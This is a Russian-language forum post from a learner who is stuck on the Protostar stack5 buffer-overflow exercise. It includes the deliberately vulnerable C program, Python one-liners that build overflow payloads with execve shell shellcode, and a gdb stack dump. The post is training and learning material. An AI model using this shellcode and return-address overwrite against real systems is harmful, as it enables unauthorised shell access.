Good_shark
New member
Всем привет! Решила попробовать себя в бинарных уязвимостях, опыта в asm очень мало, поэтому некоторые мои вопросы могут показаться глупыми. Сейчас прохожу задания на Protostar, сижу на stack5.
Вот исходный код:
Я смогла получить шелл вот такой командой
Для этого использую команду
Адрес шеллкода я получаю командой x/32x $esp-80 при бряке на ret функции main и отправкой 76 букв A и 4 букв B программе, вот вывод:
Почему у меня не работает эта техника атаки? Адрес шеллкода же верный. Прошу помощи(
Вот исходный код:
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
Я смогла получить шелл вот такой командой
python -c "print 'a'*48 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + '\xbf\xff\xf7\x6c'[::-1]" > ~/shell
и запуском команды r < ~/shell из gdb, сейчас пробую технику Nop slide и ничего не получается.Для этого использую команду
python -c "print 'a'*76 + '0x\xbf\xff\xf7\x6c'[::-1] + '\x90'*500 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'" > /home/user/nop
, но при запуске r < ~/nop в gdb я получаю Segmentation fault.Адрес шеллкода я получаю командой x/32x $esp-80 при бряке на ret функции main и отправкой 76 букв A и 4 букв B программе, вот вывод:
Код:
0xbffff75c: 0xb7eada75 0x41414141 0x41414141 0x41414141
0xbffff76c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff77c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff78c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff79c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7ac: 0x42424242 0x00000000 0xbffff854 0xbffff85c
0xbffff7bc: 0xb7fe1848 0xbffff810 0xffffffff 0xb7ffeff4
0xbffff7cc: 0x08048232 0x00000001 0xbffff810 0xb7ff0626
Почему у меня не работает эта техника атаки? Адрес шеллкода же верный. Прошу помощи(
Последнее редактирование: